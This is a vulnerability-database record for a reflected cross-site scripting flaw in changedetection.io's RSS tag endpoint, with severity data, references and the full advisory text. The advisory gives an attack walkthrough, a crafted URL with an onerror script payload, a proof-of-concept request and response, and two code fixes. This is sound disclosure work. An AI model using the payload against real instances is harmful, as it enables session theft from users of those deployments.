{"id":"CVE-2026-29038","aliases":["GHSA-8whx-v8qq-pq64","PYSEC-2026-2127"],"title":"changedetection.io has Reflected XSS in its RSS Tag Error Response","summary":"changedetection.io has Reflected XSS in its RSS Tag Error Response","severity":"medium","cvss":6.1,"cvssVector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N","vendor":"changedetection-io","product":"changedetection-io","ecosystem":"pip","affected":["changedetection-io < 0.54.4"],"patched":["changedetection-io 0.54.4"],"published":"2026-03-04","updated":"2026-07-13","source":"OSV","sourceUrl":"https://osv.dev/vulnerability/GHSA-8whx-v8qq-pq64","references":[{"url":"https://github.com/dgtlmoon/changedetection.io/security/advisories/GHSA-8whx-v8qq-pq64"},{"url":"https://github.com/dgtlmoon/changedetection.io/security/advisories/GHSA-mw8m-398g-h89w"},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-29038"},{"url":"https://github.com/dgtlmoon/changedetection.io/commit/ec7d56f85d1e9690fca7cb4711c1fb20dffec780"},{"url":"https://github.com/dgtlmoon/changedetection.io"},{"url":"https://github.com/dgtlmoon/changedetection.io/releases/tag/0.54.4"}],"tags":["osv","pip"],"epss":0.00282,"epssPercentile":0.21005,"ingestedAt":"2026-07-13T18:57:55.349Z","slug":"CVE-2026-29038","body":"## Overview\n\nA reflected cross-site scripting (XSS) vulnerability was identified in the `/rss/tag/` endpoint of changedetection.io. The `tag_uuid` path parameter is reflected directly in the HTTP response body without HTML escaping. Since Flask returns `text/html` by default for plain string responses, the browser parses and executes injected JavaScript.\n\nThis vulnerability persists in version **0.54.1**, which patched the related XSS in `/rss/watch/` (CVE-2026-27645 / GHSA-mw8m-398g-h89w) but did not address the identical pattern in the tag RSS endpoint.\n\n## Package\n\n-   **Ecosystem:** pip\n-   **Package:** changedetection.io\n-   **Affected versions:** <= 0.54.1\n-   **Patched versions:** _(none yet)_\n\n\n## Severity\n**Moderate - CVSS 6.1**\n`CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N`\n\n\n## Details\n**File:** `changedetectionio/blueprint/rss/tag.py` **Line:** 36 **Source:** [tag.py @ 1d72716](https://raw.githubusercontent.com/dgtlmoon/changedetection.io/1d72716c6988a4f6796bb85a5d42872800cd7a70/changedetectionio/blueprint/rss/tag.py)\n\nThe `tag_uuid` parameter from the URL path is interpolated into the response body using an f-string with no escaping:\n\n```python\ntag = datastore.data['settings']['application'].get('tags', {}).get(tag_uuid)\nif not tag:\n    return f\"Tag with UUID {tag_uuid} not found\", 404  # ← No escaping, Content-Type: text/html\n\n```\n\nFlask's default `Content-Type` for plain string responses is `text/html; charset=utf-8`, so any HTML/JavaScript injected via `{tag_uuid}` is rendered and executed by the browser.\n\n### Relationship to CVE-2026-27645\n\nCVE-2026-27645 (GHSA-mw8m-398g-h89w) addressed the identical vulnerability pattern in `/rss/watch/` (`single_watch.py`). The fix applied in v0.54.1 patched that endpoint but **did not** fix the same pattern in `/rss/tag/` (`tag.py`). Testing confirms:\n\n-   **`/rss/watch/` on v0.54.1** — Returns generic 404 page, XSS no longer triggers ✅\n-   **`/rss/tag/` on v0.54.1** — XSS payload still fires, vulnerability confirmed ❌\n\n## Attack Vector\n\nThe attack requires a valid RSS access token, which is a 32-character hex string exposed in the `<link>` HTML tag on the homepage without authentication:\n\n1.  Attacker visits the target's homepage (if unauthenticated) and extracts the RSS token from the `<link>` tag\n2.  Crafts a malicious URL:\n    \n    ```\n    http://target:5000/rss/tag/<img src=x onerror=alert(document.cookie)>?token=EXTRACTED_TOKEN\n    \n    ```\n    \n3.  Sends the link to a victim who has an active session on the changedetection.io instance\n4.  When the victim clicks the link, the server responds with:\n    \n    ```\n    Tag with UUID <img src=x onerror=alert(document.cookie)> not found\n    \n    ```\n    \n5.  The browser renders the `<img>` tag, the `onerror` fires, and JavaScript executes in the victim's session context\n\n## Proof of Concept\n\n### Request\n\n```http\nGET /rss/tag/%3Cimg%20src%3Dx%20onerror%3Dalert(document.domain)%3E?token=60b83b06df98b24c66367bc3d233105b HTTP/1.1\nHost: localhost:5000\n\n```\n\n### Response\n\n```http\nHTTP/1.1 404 NOT FOUND\nContent-Type: text/html; charset=utf-8\n\nTag with UUID <img src=x onerror=alert(document.domain)> not found\n\n```\n\nThe XSS payload is reflected unescaped in an HTML response. The browser executes `alert(document.domain)` and displays \"localhost\", confirming JavaScript execution.\n\n**Tested on:** changedetection.io v0.54.1 (Docker, localhost, Feb 25, 2026)\n\n\nhttps://github.com/user-attachments/assets/6db07f6a-6df8-48a7-a597-9f39dfa1bb29\n\n\n## Impact\n\n-   **Session cookie theft** via `document.cookie` exfiltration\n-   **Account takeover** if session cookies lack the `HttpOnly` flag\n-   **Phishing** via crafted links that appear to originate from a trusted changedetection.io instance\n-   **Low exploitation barrier** - the RSS token is obtainable without authentication from the homepage `<link>` tag\n-   **Widespread exposure** - prior scanning of internet-facing instances (during CVE-2026-27645 research) identified 500+ publicly accessible deployments\n\n## Suggested Fix\n\nEscape the `tag_uuid` parameter before reflecting it in the response, or set the `Content-Type` to `text/plain`:\n\n### Option A: HTML Escape (Recommended)\n\n```python\nfrom markupsafe import escape\n\nif not tag:\n    return f\"Tag with UUID {escape(tag_uuid)} not found\", 404\n\n```\n\n### Option B: Set Content-Type to text/plain\n\n```python\nfrom flask import make_response\n\nif not tag:\n    resp = make_response(f\"Tag with UUID {tag_uuid} not found\", 404)\n    resp.headers['Content-Type'] = 'text/plain; charset=utf-8'\n    return resp\n\n```\n## Credits\n\n-   **Roberto Nunes** ([@Akokonunes](https://github.com/Akokonunes)) - Reporter\n-   **neo-ai-engineer** ([@neo-ai-engineer](https://github.com/neo-ai-engineer)) - Reporter\n\n## References\n-   Related advisory: [GHSA-mw8m-398g-h89w](https://github.com/dgtlmoon/changedetection.io/security/advisories/GHSA-mw8m-398g-h89w) (CVE-2026-27645)\n-   Vulnerable source: [tag.py @ 1d72716](https://raw.githubusercontent.com/dgtlmoon/changedetection.io/1d72716c6988a4f6796bb85a5d42872800cd7a70/changedetectionio/blueprint/rss/tag.py)\n\n## Affected packages\n\n- `changedetection-io < 0.54.4`\n\n## Remediation\n\nUpgrade to a patched release:\n\n- `changedetection-io 0.54.4`","depth":"sunlit","depthScore":34,"depthScoreParts":{"impact":33.6,"likelihood":0.1,"exploitation":0,"ransomware":0},"changes":[]}